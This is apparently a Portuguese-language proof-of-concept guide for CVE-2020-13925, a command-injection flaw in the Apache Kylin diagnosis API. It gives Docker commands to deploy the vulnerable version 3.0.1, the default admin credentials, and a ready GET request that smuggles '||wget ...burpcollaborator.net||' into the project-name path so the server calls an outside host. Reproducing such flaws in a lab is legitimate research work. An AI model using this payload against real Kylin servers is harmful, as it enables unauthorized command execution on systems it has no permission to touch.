
Prova de Conceito e guia de reprodução para CVE-2020-13925, uma vulnerabilidade de injeção de comandos na API de diagnóstico do Apache Kylin, com configuração de laboratório baseada em Docker e etapas de exploração.
Consulte https://github.com/apache/kylin para implantar o ambiente usando docker, modificando a versão para 3.0.1 (versão vulnerável). A opção -m 8G \ pode ser removida — ela serve para alocar o tamanho da memória.
Em seguida, acesse http://host:7070/kylin/login. O nome de usuário e senha iniciais são ADMIN/KYLIN.
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
Requisição original:
http://host:port/kylin/api/diag/project/learn_kylin/download
Requisição PoC, método GET:
http://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download
Ou seja, substitua o nome do projeto "learn_kylin" pelo seguinte payload ao acessar:
||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||
Acesse System-Configuration-Diagnosis. Dispare a requisição que baixa as informações de diagnóstico http://host:port/kylin/api/diag/project/learn_kylin/download

Ou seja, substitua o nome do projeto "learn_kylin" pelo payload acima ao acessar.
